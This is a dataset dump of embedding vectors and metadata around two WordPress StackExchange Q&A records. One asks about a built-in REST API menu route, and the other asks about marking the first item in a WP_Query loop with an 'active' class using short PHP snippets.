-0.0302276611328125, 0.02032470703125, 0.0352783203125, 0.01523590087890625, -0.007419586181640625, -0.00888824462890625, -0.053680419921875, -0.03759765625, -0.011962890625, -0.0421142578125, 0.0247039794921875, -0.0094451904296875, -0.0921630859375, 0.1739501953125, 0.027496337890625, 0.0191650390625, -0.0014009475708007812, 0.0751953125, -0.052001953125, 0.03204345703125, -0.06182861328125, 0.0419921875, -0.0308990478515625, 0.05535888671875, -0.061920166015625, 0.0225067138671875, 0.00345611572265625, 0.0126495361328125, 0.06402587890625, 0.006771087646484375, 0.0258636474609375, -0.01094818115234375, 0.0233917236328125, 0.0408935546875, -0.032958984375, -0.007740020751953125, 0.004436492919921875, -0.0007653236389160156, 0.0189666748046875, -0.037353515625, 0.03485107421875, -0.03814697265625, 0.005382537841796875, 0.0257110595703125, 0.01410675048828125, 0.0089111328125, -0.025909423828125, -0.0155029296875, -0.033111572265625, -0.0004811286926269531, 0.01495361328125, 0.010894775390625, 0.05010986328125, 0.01617431640625, 0.0706787109375, -0.058929443359375, -0.0701904296875, -0.01053619384765625, 0.0450439453125, 0.01311492919921875, 0.0260772705078125, 0.01995849609375, 0.0101165771484375, 0.06134033203125, -0.00823974609375, 0.0104522705078125, 0.01212310791015625, -0.007030487060546875, 0.039825439453125, 0.00008541345596313477, 0.02960205078125, -0.052520751953125, -0.006908416748046875, 0.03240966796875, 0.049896240234375, -0.03472900390625, -0.01120758056640625, 0.00931549072265625, 0.004009246826171875, -0.00904083251953125, -0.030029296875, 0.011566162109375, 0.004718780517578125, 0.00848388671875, -0.038848876953125, 0.0019931793212890625, 0.032958984375, 0.028076171875, 0.01023101806640625, 0.0178985595703125, -0.051666259765625, -0.0029926300048828125, -0.042816162109375, 0.00836944580078125, 0.023223876953125, 0.057373046875, 0.018646240234375, 0.02728271484375, -0.010986328125, -0.0289459228515625, -0.0111541748046875, 0.01149749755859375, 0.00617218017578125, 0.01300811767578125, 0.0028934478759765625, -0.0149078369140625, 0.015167236328125, 0.00997161865234375, -0.0026493072509765625, 0.01153564453125, 0.058563232421875, 0.059906005859375, -0.035736083984375, -0.0257415771484375, 0.033447265625, -0.0203094482421875, -0.01531982421875, -0.021026611328125, -0.03759765625, 0.0155792236328125, -0.0189208984375, 0.0258026123046875, -0.0022602081298828125, 0.0231781005859375, -0.0267181396484375, 0.0296783447265625, -0.00318145751953125, -0.0260772705078125, 0.0209197998046875, -0.025146484375, 0.043853759765625, -0.007381439208984375, -0.045196533203125, 0.0146331787109375, -0.077880859375, -0.038970947265625, 0.03204345703125, 0.0259857177734375, -0.021697998046875, 0.034454345703125, 0.0194244384765625, -0.0225830078125, 0.04327392578125, 0.0032806396484375, 0.00604248046875, 0.0714111328125, 0.03131103515625, 0.0241546630859375, -0.04931640625, -0.01343536376953125, 0.0115203857421875, 0.0139617919921875, -0.004962921142578125, 0.0208282470703125, 0.0115203857421875, -0.004070281982421875, -0.0191650390625, 0.058837890625, -0.063720703125, -0.03125, 0.05328369140625, -0.01296234130859375, 0.00223541259765625, -0.00795745849609375, -0.005123138427734375, 0.0182647705078125, 0.032379150390625, -0.0217742919921875, 0.033050537109375, -0.047637939453125, 0.01100921630859375, -0.01593017578125, 0.0650634765625, -0.01197052001953125, -0.06396484375, -0.09906005859375, 0.0007953643798828125, 0.03155517578125, 0.0745849609375, -0.0077056884765625, 0.043487548828125, -0.0204315185546875, 0.004192352294921875, 0.0121612548828125, -0.021820068359375, -0.02044677734375, 0.0193939208984375, 0.00029468536376953125, -0.041229248046875, -0.0058746337890625, -0.032958984375, -0.01021575927734375, 0.005901336669921875, 0.032623291015625, -0.01389312744140625, -0.0290985107421875, -0.02093505859375, 0.04998779296875, 0.03643798828125, -0.0255584716796875, 0.04522705078125, 0.0006933212280273438, -0.0167999267578125, 0.041656494140625, 0.00632476806640625, -0.036224365234375, -0.04168701171875, 0.01136016845703125, 0.01242828369140625, -0.0226287841796875, -0.049652099609375, -0.08758544921875, 0.00666046142578125, 0.022979736328125, -0.0128936767578125, -0.0003077983856201172, 0.0258636474609375, -0.035491943359375, -0.00928497314453125, -0.01373291015625, -0.0261993408203125, 0.01555633544921875, 0.01385498046875, -0.0312042236328125, -0.01280975341796875, -0.04559326171875, 0.01166534423828125, -0.02496337890625, 0.01873779296875, 0.03240966796875, -0.03326416015625, -0.06634521484375, 0.0025501251220703125, 0.0295867919921875, 0.0240936279296875, 0.045562744140625, -0.01372528076171875, 0.0011682510375976562, -0.0007643699645996094, -0.028839111328125, -0.0791015625, 0.028656005859375, -0.134033203125, -0.01335906982421875, -0.02850341796875, 0.01387786865234375, 0.011871337890625, -0.05474853515625, -0.11614990234375, 0.052978515625, -0.03778076171875, -0.035552978515625, 0.0036716461181640625, -0.0001475811004638672, -0.0301971435546875, 0.0252532958984375, 0.0086822509765625, -0.00261688232421875, 0.01312255859375, 0.019317626953125, -0.01218414306640625, 0.060546875, 0.0069122314453125, -0.0294952392578125, -0.0095977783203125, -0.024658203125, -0.0195770263671875, -0.002685546875, 0.0279693603515625, -0.01351165771484375, 0.0244598388671875, 0.049407958984375, -0.04852294921875, -0.0282745361328125, -0.039581298828125, -0.025726318359375, 0.01186370849609375, -0.047027587890625, -0.0192413330078125, -0.0272216796875, 0.0689697265625, 0.00881195068359375, 0.0237579345703125, -0.0223388671875, -0.022308349609375, -0.0265960693359375, -0.05438232421875, 0.01995849609375, 0.016815185546875, -0.03485107421875, 0.025390625, 0.009857177734375, -0.006725311279296875, -0.0241546630859375, -0.00960540771484375, -0.040283203125, -0.0078582763671875, -0.035919189453125, 0.00951385498046875, -0.05877685546875, -0.0135650634765625, 0.0195465087890625, -0.0253753662109375, -0.0293426513671875, -0.0196533203125, 0.017608642578125, -0.0269622802734375, -0.0198211669921875, 0.042877197265625, -0.0020275115966796875, -0.004825592041015625, 0.003643035888671875, 0.04681396484375, -0.0021038055419921875, 0.0165252685546875, -0.03619384765625, -0.021484375, 0.0197296142578125, 0.01013946533203125, 0.021942138671875, -0.019287109375, 0.03363037109375, 0.01303863525390625, 0.0290679931640625, 0.003520965576171875, 0.0184478759765625, -0.00499725341796875, 0.0360107421875, -0.037872314453125, -0.00926971435546875, -0.01009368896484375, -0.022735595703125, -0.00402069091796875, -0.01503753662109375, 0.011810302734375, -0.046966552734375, 0.033203125, -0.0036754608154296875, 0.001628875732421875, 0.03204345703125 ]
8a9ea52f9a97c816786562bf169c8c23b6a986c4
Wordpress Stackexchange Q: Does WP REST API have a built in route for calling menu? Upon my research the latest question I was able to reference referred to the WP REST API plugin before it was built into core. The best answer on the question referred to building a custom endpoint (I'm not a fan of using the plugin): function get_menu() { # Change 'menu' to your own navigation slug. return wp_get_nav_menu_items('menu'); } add_action( 'rest_api_init', function () { register_rest_route( 'myroutes', '/menu', array( 'methods' => 'GET', 'callback' => 'get_menu', ) ); } ); I was unable to see anything mentioned in the handbook. When reviewing all the routes in Postman I see everything but menus: Is there a way in WP REST API that is built into core to get the menu without building a custom endpoint? Am I missing it somewhere? A: Does WP REST API have a built in route for calling menu? Nope, the menu route is not currently (4.9.7) built-in, but there's a ticket for it in #40878. It's not mentioned on this REST API roadmap though.
Q: Does WP REST API have a built in route for calling menu? Upon my research the latest question I was able to reference referred to the WP REST API plugin before it was built into core. The best answer on the question referred to building a custom endpoint (I'm not a fan of using the plugin): function get_menu() { # Change 'menu' to your own navigation slug. return wp_get_nav_menu_items('menu'); } add_action( 'rest_api_init', function () { register_rest_route( 'myroutes', '/menu', array( 'methods' => 'GET', 'callback' => 'get_menu', ) ); } ); I was unable to see anything mentioned in the handbook. When reviewing all the routes in Postman I see everything but menus: Is there a way in WP REST API that is built into core to get the menu without building a custom endpoint? Am I missing it somewhere? A: Does WP REST API have a built in route for calling menu? Nope, the menu route is not currently (4.9.7) built-in, but there's a ticket for it in #40878. It's not mentioned on this REST API roadmap though.
wordpress
{ "language": "en", "length": 178, "provenance": "stackexchange_00019.jsonl.gz:487887", "question_score": "7", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/309121" }
[ 0.0209197998046875, -0.01483154296875, 0.014312744140625, 0.0201416015625, -0.0046844482421875, -0.0123748779296875, 0.07025146484375, -0.01404571533203125, -0.0117034912109375, -0.0023555755615234375, -0.01617431640625, 0.0108795166015625, -0.058258056640625, -0.02508544921875, 0.011199951171875, -0.0443115234375, 0.03955078125, 0.00006121397018432617, 0.03680419921875, -0.0093536376953125, 0.01502227783203125, 0.003757476806640625, 0.01103973388671875, 0.10040283203125, 0.0220489501953125, 0.0142974853515625, -0.0309600830078125, -0.00787353515625, -0.01461029052734375, -0.0212554931640625, 0.006465911865234375, 0.0114288330078125, 0.006328582763671875, 0.01568603515625, -0.0106964111328125, -0.039703369140625, -0.01183319091796875, 0.028961181640625, -0.0022182464599609375, 0.0111236572265625, 0.0135498046875, -0.0128173828125, 0.00341033935546875, -0.005870819091796875, -0.02313232421875, -0.01165771484375, 0.0113525390625, -0.0213775634765625, 0.00933837890625, 0.0233612060546875, 0.0140228271484375, -0.0029468536376953125, 0.001800537109375, 0.0281524658203125, -0.01352691650390625, -0.016815185546875, 0.020111083984375, -0.04913330078125, 0.028350830078125, -0.01052093505859375, -0.018341064453125, -0.0228424072265625, 0.032073974609375, -0.00702667236328125, 0.01181793212890625, 0.0170440673828125, 0.056549072265625, 0.0012302398681640625, -0.006946563720703125, 0.0276336669921875, 0.00006669759750366211, -0.007083892822265625, -0.021240234375, 0.00041174888610839844, -0.033203125, -0.0190582275390625, 0.0006246566772460938, -0.04315185546875, 0.0144195556640625, 0.01690673828125, 0.0218658447265625, 0.003936767578125, -0.00382232666015625, -0.0094451904296875, 0.0019369125366210938, -0.004940032958984375, 0.00733184814453125, -0.00849151611328125, -0.03399658203125, 0.01517486572265625, -0.029388427734375, -0.055206298828125, -0.0311737060546875, 0.0587158203125, 0.0022430419921875, 0.00334930419921875, 0.00970458984375, -0.011749267578125, 0.01027679443359375, 0.04522705078125, 0.035369873046875, -0.06439208984375, 0.094970703125, -0.025421142578125, 0.00856781005859375, 0.00955963134765625, 0.01342010498046875, 0.032989501953125, 0.057769775390625, 0.0236358642578125, 0.00148773193359375, 0.08294677734375, 0.0039520263671875, -0.020721435546875, -0.009368896484375, 0.0019130706787109375, -0.0167999267578125, 0.0142669677734375, 0.0078582763671875, -0.0006151199340820312, -0.03851318359375, -0.0089111328125, 0.0130615234375, 0.05242919921875, 0.001811981201171875, 0.0299835205078125, 0.02716064453125, -0.028350830078125, -0.031890869140625, 0.02685546875, 0.0122528076171875, 0.03778076171875, 0.01178741455078125, -0.00829315185546875, -0.04852294921875, -0.01207733154296875, 0.0215911865234375, 0.0224761962890625, 0.00408172607421875, -0.005619049072265625, 0.0111541748046875, -0.00438690185546875, 0.00018393993377685547, -0.01190185546875, 0.02142333984375, -0.0311279296875, 0.0210418701171875, 0.035186767578125, 0.020050048828125, 0.0189056396484375, -0.0190887451171875, 0.04937744140625, 0.0127716064453125, 0.01690673828125, 0.026947021484375, 0.022216796875, 0.038330078125, -0.0021381378173828125, -0.0222015380859375, 0.01105499267578125, -0.031036376953125, -0.034149169921875, -0.0173492431640625, -0.06561279296875, -0.053375244140625, 0.034942626953125, -0.0120849609375, 0.002086639404296875, 0.02752685546875, 0.056854248046875, 0.00524139404296875, 0.0024280548095703125, -0.0282135009765625, 0.0119171142578125, -0.005481719970703125, -0.01446533203125, -0.004604339599609375, 0.034027099609375, 0.031890869140625, 0.041015625, 0.0091400146484375, -0.03204345703125, 0.0966796875, -0.019500732421875, -0.060333251953125, 0.10052490234375, 0.0038356781005859375, 0.10968017578125, -0.00550079345703125, 0.0120697021484375, 0.0153350830078125, 0.020355224609375, -0.017364501953125, -0.0115509033203125, 0.005401611328125, -0.017547607421875, 0.01055908203125, 0.0005393028259277344, -0.01482391357421875, 0.0139617919921875, -0.062744140625, 0.00743865966796875, -0.0025787353515625, 0.016387939453125, -0.0212554931640625, -0.00946807861328125, -0.0170135498046875, 0.041259765625, 0.013519287109375, -0.003055572509765625, -0.00799560546875, -0.00489044189453125, -0.0007748603820800781, -0.0238189697265625, -0.033355712890625, 0.0152587890625, -0.05389404296875, 0.01161956787109375, -0.01041412353515625, 0.0126190185546875, -0.025543212890625, 0.0208740234375, 0.00128936767578125, 0.00809478759765625, 0.0172882080078125, -0.018402099609375, 0.006717681884765625, -0.020263671875, 0.040374755859375, -0.0032978057861328125, 0.0362548828125, -0.0124969482421875, 0.045074462890625, 0.040191650390625, -0.01258087158203125, -0.0003676414489746094, 0.0265655517578125, -0.0316162109375, 0.005779266357421875, 0.0270538330078125, 0.034149169921875, -0.0091094970703125, -0.00506591796875, 0.0006208419799804688, 0.013092041015625, -0.06524658203125, -0.0082550048828125, -0.001636505126953125, -0.02996826171875, 0.01146697998046875, 0.032318115234375, 0.009735107421875, 0.007045745849609375, 0.032318115234375, -0.0091705322265625, 0.0287322998046875, 0.004730224609375, -0.0174102783203125, 0.00021457672119140625, -0.02496337890625, 0.0255279541015625, -0.0182952880859375, -0.0518798828125, 0.01398468017578125, -0.02496337890625, 0.004199981689453125, 0.0011682510375976562, 0.031494140625, -0.032806396484375, -0.0167694091796875, 0.042144775390625, 0.08465576171875, -0.00864410400390625, 0.061981201171875, 0.05572509765625, -0.01355743408203125, -0.007354736328125, -0.0279541015625, -0.009796142578125, 0.0262451171875, -0.0203704833984375, -0.014923095703125, 0.007781982421875, -0.01308441162109375, 0.0014324188232421875, -0.059295654296875, 0.033843994140625, -0.01146697998046875, 0.045928955078125, 0.046600341796875, 0.061492919921875, 0.0019311904907226562, 0.003326416015625, 0.0272216796875, -0.00020241737365722656, -0.0091705322265625, 0.03436279296875, 0.03143310546875, -0.0018377304077148438, -0.00482940673828125, -0.00740814208984375, 0.0225677490234375, -0.00018155574798583984, -0.028594970703125, 0.0026226043701171875, -0.00909423828125, -0.00873565673828125, 0.028076171875, 0.016845703125, -0.026641845703125, 0.019744873046875, 0.06866455078125, 0.01386260986328125, 0.0016946792602539062, -0.006740570068359375, -0.0316162109375, -0.04083251953125, 0.0008840560913085938, -0.08673095703125, -0.0628662109375, 0.09820556640625, -0.0271453857421875, 0.037628173828125, -0.00572967529296875, -0.01425933837890625, -0.058319091796875, 0.046875, -0.0115814208984375, -0.02447509765625, -0.0130157470703125, -0.06427001953125, -0.0523681640625, -0.081298828125, -0.0133514404296875, -0.01168060302734375, 0.01061248779296875, 0.0038547515869140625, 0.0177764892578125, 0.007038116455078125, -0.0298309326171875, 0.0189056396484375, 0.0153961181640625, -0.00600433349609375, 0.008056640625, 0.06414794921875, -0.025115966796875, 0.008575439453125, -0.006099700927734375, 0.035552978515625, 0.0694580078125, -0.06964111328125, -0.00943756103515625, -0.034088134765625, 0.0169219970703125, -0.01708984375, 0.04449462890625, 0.050018310546875, 0.0234222412109375, 0.0318603515625, -0.0197296142578125, -0.02032470703125, -0.0167999267578125, -0.03460693359375, 0.040374755859375, 0.0306396484375, -0.00489044189453125, -0.023590087890625, 0.041748046875, 0.00820159912109375, -0.0009617805480957031, 0.026824951171875, 0.0098114013671875, 0.041229248046875, -0.03753662109375, -0.0367431640625, -0.05194091796875, 0.10504150390625, 0.019256591796875, -0.06298828125, 0.030975341796875, 0.006282806396484375, -0.005512237548828125, -0.041839599609375, -0.061737060546875, -0.00811004638671875, 0.04083251953125, -0.0031871795654296875, 0.0011568069458007812, 0.0017061233520507812, -0.0222015380859375, 0.031646728515625, 0.081787109375, 0.019622802734375, -0.0250091552734375, -0.00031256675720214844, 0.02752685546875, -0.0263214111328125, -0.03424072265625, -0.0099029541015625, -0.0099029541015625, -0.005035400390625, -0.0189056396484375, -0.019195556640625, -0.0208587646484375, -0.00337982177734375, -0.020233154296875, 0.00872039794921875, -0.022369384765625, 0.03326416015625, -0.07965087890625, 0.022552490234375, 0.006168365478515625, 0.0133209228515625, -0.045989990234375, -0.025787353515625, -0.015960693359375, -0.0762939453125, -0.005889892578125, -0.052398681640625, 0.0712890625, 0.0535888671875, -0.056365966796875, 0.019500732421875, 0.052398681640625, 0.0167083740234375, 0.0137176513671875, 0.0231170654296875, 0.00763702392578125, 0.0180206298828125, 0.005584716796875, 0.03179931640625, -0.03021240234375, -0.0195770263671875, 0.00513458251953125, -0.0168609619140625, 0.01953125, 0.013641357421875, -0.01309967041015625, 0.033935546875, -0.035125732421875, -0.0269317626953125, -0.050201416015625, -0.06195068359375, 0.01284027099609375, -0.01910400390625, -0.01190948486328125, -0.052154541015625, -0.07366943359375, 0.004428863525390625, 0.00034236907958984375, -0.0123748779296875, 0.007770538330078125, 0.025634765625, 0.0167999267578125, -0.02301025390625, 0.01053619384765625, 0.0247955322265625, 0.0316162109375, -0.0057373046875, 0.05731201171875, -0.0007395744323730469, -0.01922607421875, 0.07427978515625, -0.0005350112915039062, 0.044097900390625, 0.01540374755859375, -0.008575439453125, 0.0196380615234375, 0.0016431808471679688, 0.01422882080078125, 0.05419921875, -0.08074951171875, 0.049591064453125, -0.004123687744140625, -0.0235137939453125, -0.021881103515625, 0.050048828125, -0.040557861328125, 0.028289794921875, -0.045806884765625, -0.0282440185546875, 0.0152587890625, -0.0174713134765625, 0.060089111328125, 0.0203399658203125, -0.0027828216552734375, 0.038238525390625, 0.016754150390625, -0.0014209747314453125, -0.005889892578125, -0.004917144775390625, -0.0220184326171875, 0.0312042236328125, -0.033660888671875, -0.0192108154296875, 0.00824737548828125, -0.01355743408203125, 0.0946044921875, 0.00955963134765625, -0.04071044921875, -0.024688720703125, -0.02117919921875, 0.041351318359375, -0.0013675689697265625, -0.03167724609375, 0.02947998046875, 0.01264190673828125, -0.042510986328125, -0.0248870849609375, -0.03973388671875, -0.029571533203125, -0.06634521484375, 0.06793212890625, 0.0037860870361328125, 0.0193634033203125, -0.042449951171875, 0.09307861328125, -0.033050537109375, 0.037322998046875, 0.01116180419921875, -0.00476837158203125, -0.005146026611328125, 0.032684326171875, 0.00527191162109375, -0.0033111572265625, 0.0290374755859375, -0.01355743408203125, 0.0240478515625, -0.032928466796875, -0.0309906005859375, 0.037017822265625, 0.04071044921875, -0.0006608963012695312, -0.01544189453125, -0.00579071044921875, -0.0023517608642578125, -0.02166748046875, 0.0025157928466796875, -0.0439453125, -0.023223876953125, -0.0430908203125, 0.016082763671875, 0.035430908203125, 0.006725311279296875, -0.007488250732421875, 0.0200347900390625, 0.043060302734375, 0.044342041015625, -0.029266357421875, -0.04498291015625, 0.0546875, 0.06658935546875, -0.013763427734375, -0.03619384765625, -0.0163726806640625, -0.0005340576171875, 0.026580810546875, -0.04071044921875, -0.03631591796875, 0.064208984375, -0.0225372314453125, 0.014984130859375, -0.023406982421875, -0.005825042724609375, -0.039093017578125, 0.01064300537109375, 0.040802001953125, 0.0265655517578125, 0.0159149169921875, -0.0219879150390625, 0.013519287109375, -0.0242767333984375, 0.060638427734375, -0.00096893310546875, -0.0241546630859375, -0.031585693359375, 0.0012645721435546875, 0.0250701904296875, 0.01154327392578125, 0.01538848876953125, -0.01032257080078125, 0.0164947509765625, -0.009368896484375, 0.0311279296875, -0.00484466552734375, 0.07952880859375, -0.025238037109375, 0.035308837890625, 0.01125335693359375, 0.017974853515625, -0.05609130859375, 0.01100921630859375, -0.0026454925537109375, -0.058746337890625, -0.022918701171875, -0.024505615234375, -0.009521484375, 0.071533203125, 0.0697021484375, 0.0120849609375, 0.0399169921875, -0.0244598388671875, 0.0070343017578125, -0.0157928466796875, 0.0447998046875, -0.049224853515625, 0.021331787109375, 0.019866943359375, -0.007007598876953125, 0.00563812255859375, -0.04071044921875, 0.0002722740173339844, 0.0170135498046875, -0.00775909423828125, 0.01381683349609375, -0.00563812255859375, -0.053497314453125, 0.0782470703125, 0.136474609375, 0.0011463165283203125, 0.0582275390625, 0.0343017578125, -0.0026416778564453125, 0.015960693359375, 0.02093505859375, 0.018341064453125, -0.044403076171875, 0.0052490234375, -0.00518035888671875, 0.00614166259765625, 0.01495361328125, -0.0157470703125, 0.0219573974609375, -0.0005102157592773438, 0.0394287109375, -0.05401611328125, 0.0311737060546875, 0.0175323486328125, -0.01459503173828125, 0.0252838134765625, -0.010467529296875, -0.01360321044921875, -0.016021728515625, 0.032073974609375, -0.041717529296875, -0.0253753662109375, 0.005146026611328125, -0.0108184814453125, -0.02166748046875, 0.0228424072265625, 0.01934814453125, 0.015838623046875, 0.043243408203125, -0.0335693359375, -0.032562255859375, 0.03155517578125, 0.002422332763671875, 0.006839752197265625, 0.032196044921875, -0.026641845703125, -0.022064208984375, 0.0401611328125, -0.0164947509765625, -0.01424407958984375, 0.024322509765625, 0.006999969482421875, -0.01261138916015625, 0.03387451171875, -0.0340576171875, 0.018157958984375, 0.0125274658203125, -0.025054931640625, 0.0212249755859375, -0.03497314453125, 0.00872802734375, 0.027313232421875, -0.0231781005859375, 0.0161895751953125, 0.015045166015625, -0.0309295654296875, 0.001617431640625, -0.0224761962890625, 0.12200927734375, -0.06341552734375, -0.020965576171875, -0.01087188720703125, -0.0284576416015625, 0.006855010986328125, -0.0017824172973632812, 0.031982421875, -0.0330810546875, 0.005222320556640625, 0.01995849609375, 0.028778076171875, 0.00366973876953125, 0.0306854248046875, 0.01496124267578125, 0.09210205078125, -0.0184478759765625, -0.041961669921875, 0.017425537109375, 0.06597900390625, -0.013946533203125, 0.0692138671875, -0.0330810546875, 0.06640625, 0.023834228515625, -0.00492095947265625, -0.03472900390625, 0.0002084970474243164, -0.0278778076171875, 0.01253509521484375, -0.001804351806640625, -0.0013818740844726562, -0.0309295654296875, -0.0201568603515625, -0.0024204254150390625, 0.025482177734375, 0.006572723388671875, 0.0311737060546875, 0.031341552734375, 0.0174713134765625, 0.0634765625, -0.0138397216796875, 0.033660888671875, -0.02398681640625, 0.023406982421875, 0.037750244140625, 0.00876617431640625, 0.006298065185546875, -0.0198516845703125, 0.031982421875, 0.0143280029296875, -0.0227508544921875, -0.01580810546875, -0.016693115234375, -0.033966064453125, 0.0372314453125, -0.0141448974609375, -0.01160430908203125, -0.0110626220703125, -0.0347900390625, 0.01430511474609375, -0.0160064697265625, 0.019927978515625, 0.003604888916015625, 0.0282440185546875, -0.0028438568115234375, -0.0239715576171875, 0.002620697021484375, 0.0234222412109375, -0.053009033203125, 0.06488037109375, 0.0301361083984375, 0.04681396484375, -0.0241546630859375, -0.03875732421875, 0.00586700439453125, 0.06988525390625, -0.026153564453125, -0.0208282470703125, 0.0151214599609375, 0.0166168212890625, 0.0240325927734375, 0.02093505859375, 0.06695556640625, -0.00572967529296875, 0.01479339599609375, -0.00539398193359375, 0.01233673095703125, 0.01995849609375, 0.01537322998046875, 0.01131439208984375, 0.00673675537109375, -0.051055908203125, 0.0171356201171875, -0.03802490234375, 0.0304412841796875, 0.00608062744140625, 0.0257720947265625, -0.007556915283203125, 0.06695556640625, -0.033905029296875, -0.00675201416015625, 0.033355712890625, 0.034912109375, 0.0150146484375, -0.035919189453125, 0.0236358642578125, -0.044097900390625, 0.029296875, -0.00705718994140625, 0.049957275390625, 0.021514892578125, 0.038848876953125, -0.00962066650390625, -0.028564453125, 0.01291656494140625, 0.061492919921875, -0.01007843017578125, -0.042510986328125, -0.0217132568359375, -0.03948974609375, 0.016448974609375, -0.005039215087890625, 0.01313018798828125, 0.000017404556274414062, 0.0104522705078125, 0.00025534629821777344, 0.04669189453125, -0.0018463134765625, 0.0031719207763671875, 0.0090789794921875, -0.0166778564453125, 0.0213165283203125, 0.0225982666015625, -0.04583740234375, 0.006435394287109375, -0.03179931640625, -0.043212890625, 0.0003752708435058594, 0.0321044921875, -0.01068115234375, 0.031463623046875, 0.0226593017578125, 0.019622802734375, -0.0172119140625, -0.0103912353515625, 0.0184783935546875, -0.002338409423828125, 0.0290985107421875, 0.0270843505859375, -0.06683349609375, -0.043914794921875, -0.04486083984375, 0.03326416015625, 0.005886077880859375, 0.0616455078125, 0.00704193115234375, 0.0208282470703125, -0.033660888671875, -0.0081329345703125, -0.01904296875, -0.0118865966796875, -0.023681640625, 0.009429931640625, -0.01116180419921875, 0.00666046142578125, -0.07855224609375, -0.0109100341796875, 0.0552978515625, -0.01064300537109375, 0.031402587890625, -0.01690673828125, 0.021026611328125, -0.057708740234375, 0.0262451171875, -0.01361846923828125, -0.0134429931640625, 0.00384521484375, -0.0199432373046875, 0.0266571044921875, 0.045654296875, 0.047149658203125, 0.0186614990234375, -0.0253448486328125, -0.01035308837890625, 0.00696563720703125, -0.007648468017578125, -0.006198883056640625, 0.0343017578125, -0.0272979736328125, 0.05072021484375, -0.0024051666259765625, -0.0130615234375, 0.0107879638671875, 0.0185546875, -0.03466796875, -0.001422882080078125, 0.034271240234375, 0.018463134765625, -0.020538330078125, 0.0276336669921875, -0.00954437255859375, -0.000965118408203125, -0.0271453857421875, 0.033843994140625, -0.01480865478515625, -0.034759521484375, -0.022186279296875, -0.062744140625, -0.005802154541015625, 0.00519561767578125, -0.04095458984375, -0.042205810546875, -0.028106689453125, -0.012451171875, 0.0196990966796875, 0.00804901123046875, -0.041015625, 0.032562255859375, -0.011810302734375, 0.00222015380859375, -0.01322174072265625, -0.00750732421875, 0.01446533203125, 0.036895751953125, -0.038482666015625, 0.0022411346435546875, -0.00714874267578125, -0.01187896728515625, -0.005832672119140625, -0.00835418701171875, 0.0178070068359375, -0.005832672119140625, -0.051300048828125, -0.011444091796875, -0.01568603515625, 0.02996826171875, -0.006862640380859375, -0.0197906494140625, -0.026275634765625, 0.01441192626953125, -0.00533294677734375, 0.0091552734375, 0.021484375, -0.0232086181640625, -0.0204620361328125, 0.016632080078125, 0.0161895751953125, 0.0335693359375, -0.03631591796875, -0.10345458984375, 0.040435791015625, -0.00991058349609375, -0.042327880859375, -0.0712890625, -0.0256805419921875, -0.003387451171875, 0.034515380859375, -0.0411376953125, 0.004608154296875, -0.0372314453125, 0.066162109375, 0.0217742919921875, 0.039031982421875, 0.00266265869140625, 0.005359649658203125, -0.035797119140625, 0.034088134765625, 0.014617919921875, 0.0249176025390625, 0.0092620849609375, -0.00948333740234375, 0.029876708984375, 0.041717529296875, -0.04595947265625, 0.017974853515625, -0.0193939208984375, 0.0081634521484375, -0.018218994140625, -0.0200042724609375, 0.017486572265625, 0.017608642578125, 0.0390625, 0.0211029052734375, 0.003170013427734375, -0.049407958984375, -0.025177001953125, -0.0399169921875, 0.00595855712890625, -0.014495849609375, -0.003559112548828125, -0.03802490234375, 0.0214385986328125, -0.0196533203125, 0.0185089111328125, -0.046539306640625, -0.0014781951904296875, 0.00855255126953125, -0.041229248046875, 0.013092041015625, -0.00829315185546875, 0.0321044921875, -0.0225830078125, 0.061126708984375, -0.036651611328125, -0.02630615234375, 0.003734588623046875, 0.0294189453125, 0.01049041748046875, -0.01303863525390625, -0.0228729248046875, -0.012420654296875, 0.00958251953125, 0.01494598388671875, -0.007049560546875, 0.001857757568359375, 0.00026488304138183594, -0.005611419677734375, -0.0196685791015625, 0.03424072265625, 0.01245880126953125, 0.0548095703125, -0.005428314208984375, -0.0026950836181640625, 0.0143585205078125, -0.0202789306640625, 0.0089111328125, 0.0252532958984375, 0.0158538818359375, 0.039520263671875, -0.006610870361328125, -0.022064208984375, 0.004207611083984375, -0.057373046875, -0.020477294921875, 0.0270538330078125, -0.055633544921875, -0.07293701171875, 0.0308990478515625, 0.001514434814453125, 0.0200042724609375, 0.01018524169921875 ]
bd2bea2a94333cbbbb97182d3a8511a5ec2ddadb
Wordpress Stackexchange Q: Add the "active" class only to the first loop item in a WordPress query I have a query as shown below: <?php $query = new WP_Query( $wpplnum ); while( $query->have_posts() ): $query->the_post(); ?> <div class="carousel-item col-md-4 active"> <div class="card"> <img class="card-img-top img-fluid" src="http://placehold.it/800x600/f44242/fff" alt="Card image cap"> <div class="card-body"> <h4 class="card-title">Card 1</h4> <p class="card-text">This is a longer card with supporting text below as a natural lead-in to additional content. This content is a little bit longer.</p> <p class="card-text"><small class="text-muted">Last updated 3 mins ago</small></p> </div> </div> </div> I want to add the active class only to the first loop item: class="carousel-item col-md-4 active" the remaining loop items will be without the active class: class="carousel-item col-md-4" A: I'd use the current_post property of the WP_Query class instance, which in your case is the $query. So here I check if $query->current_post is greater than or equals to 1: <div class="carousel-item col-md-4 <?php echo $query->current_post >= 1 ? '' : 'active'; ?>"> Resource: https://codex.wordpress.org/Class_Reference/WP_Query#Properties
Q: Add the "active" class only to the first loop item in a WordPress query I have a query as shown below: <?php $query = new WP_Query( $wpplnum ); while( $query->have_posts() ): $query->the_post(); ?> <div class="carousel-item col-md-4 active"> <div class="card"> <img class="card-img-top img-fluid" src="http://placehold.it/800x600/f44242/fff" alt="Card image cap"> <div class="card-body"> <h4 class="card-title">Card 1</h4> <p class="card-text">This is a longer card with supporting text below as a natural lead-in to additional content. This content is a little bit longer.</p> <p class="card-text"><small class="text-muted">Last updated 3 mins ago</small></p> </div> </div> </div> I want to add the active class only to the first loop item: class="carousel-item col-md-4 active" the remaining loop items will be without the active class: class="carousel-item col-md-4" A: I'd use the current_post property of the WP_Query class instance, which in your case is the $query. So here I check if $query->current_post is greater than or equals to 1: <div class="carousel-item col-md-4 <?php echo $query->current_post >= 1 ? '' : 'active'; ?>"> Resource: https://codex.wordpress.org/Class_Reference/WP_Query#Properties A: Do you mean something like the following? $query = new WP_Query($wpplnum); $first = TRUE; while($query->have_posts()):$query->the_post(); $class = ""; if($first) { $class = "active"; $first = FALSE; } ?> <div class="carousel-item col-md-4 <?php echo esc_attr( $class ); ?>"> ..... </div>
wordpress
{ "language": "en", "length": 200, "provenance": "stackexchange_00019.jsonl.gz:487902", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/309177" }
